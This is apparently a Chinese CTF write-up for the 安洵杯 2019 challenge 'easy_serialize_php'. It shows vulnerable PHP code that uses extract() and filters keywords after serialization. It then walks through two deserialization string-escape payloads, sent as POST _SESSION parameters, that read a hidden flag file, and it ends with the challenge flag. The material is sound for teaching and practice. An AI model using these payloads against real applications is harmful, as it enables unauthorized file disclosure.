[安洵杯 2019]easy_serialize_php

发布时间 2023-09-24 11:30:10作者: h40vv3n

[安洵杯 2019]easy_serialize_php

分析源码:

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

第一部分:

image-20230919102318308

首先获取get方式传入的"f"的值,然后是一个过滤函数,将几个关键的字符串替换为空

第二部分:

image-20230919102523059

这里是指如果用户没有POST传值,则SESSION这个数组会有两个默认的键值,extract()函数为从数组中将变量导入当前的符号表,这里的extract()可以进行变量覆盖,当我们POST传入SESSION["test"]=666时,此时的_SESSION数组中就只剩我们传入的值了

第三部分:

image-20230919103154895

这里通过get取得img_path的值,如果没有获取到,则将'guest_img.png'进行base64编码,然后存入_SESSION数组作为'img'的值,如果获取到则对传入的值进行base64编码之后在进行sha1哈希计算存入

第四部分:

image-20230919103519132

这里首先对_SESSION数组进行序列化之后再通过filter()函数过滤,然后下面对传入的'f'变量的值进行判断,根据提示,我们传入phpinfo

image-20230919104136925

这里我们发现了关键的文件d0g3_f1ag.php,推测flag就在这个文件当中,要想办法读到这个文件的内容,关键的操作就在最后一个判断中,若传入show_image则对刚才序列化之后通过过滤的数据再进行反序列化,然后再读取img的内容再进行base64解码,所以这里要构造解码之后的值为d0g3_f1ag.php

解题思路

这里首先可以尝试从传入img_path的值入手,但是发现并没有对sha1逆向的操作,所以这条路走不通,那么第二条路就只能POST传入_SESSION数组的键值来构造,这里因为考虑到有过滤,所以应该使用反序列化字符逃逸来构造payload

1、键值逃逸

该方法通过在传入的键“值”上构造一个会被过滤的字符串,然后在之后的键值中构造恶意payload,这里先给出完整payload:

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"hacker";s:4:"hack";}

我们在自己的环境之中测试,加上输出的代码

image-20230919105748430

结果如下

image-20230919105828504

这里的a表示数组,3表示有三个键值对,这里可以看到我们传入的flagflagflagflagflagphp被过滤了,但是php在进行反序列化的时候会严格按照前面的长度来读取,所以此时user的值就变成了";s:8:"function";s:65:",然后第二个键值就变成了我们构造的img以及d0g3_f1ag.php的base64编码。

我们payload的最后还加了;s:6:"hacker";s:4:"hack";}是因为前面的定义了整个数组的长度为3,所以这里要补上一个键值,而payload最后的花括号“}”是为了把原本的img的键值给”挤出去“,在进行反序列化的时候前面的部分已经满足了要求,所以最后的";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}就被丢弃了

2、键名逃逸

该方法原理和上面类似,不过过滤的位置变成了键名,然后在对应的值的位置构造恶意paylaod,完整的payload如下:

_SESSION[flagphp]=;s:8:"anything";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

结果如下:

image-20230919112403189

此时第一个键名为";s:55:,第一个键值为任意值,注意长度不要写错就行。之后的s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";为本题固定的payload

最后的花括号}在这里是因为这次我们实际上只POST了一个键值对,程序自己有一个img的键值对,所以在进行序列化之后,前面的总长度定义为2,但是在反序列化的时候,我们恶意构造的payload已经满足了反序列化的要求,所以后面的";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}会被丢弃掉

以上方法均可读取到d0g3_f1ag.php

image-20230919113404887

然后再利用上述方法继续逃逸即可得到flag

image-20230919113708397

所以本题flag为:flag{8fbcf44d-d361-41ab-b415-afc6b1532579}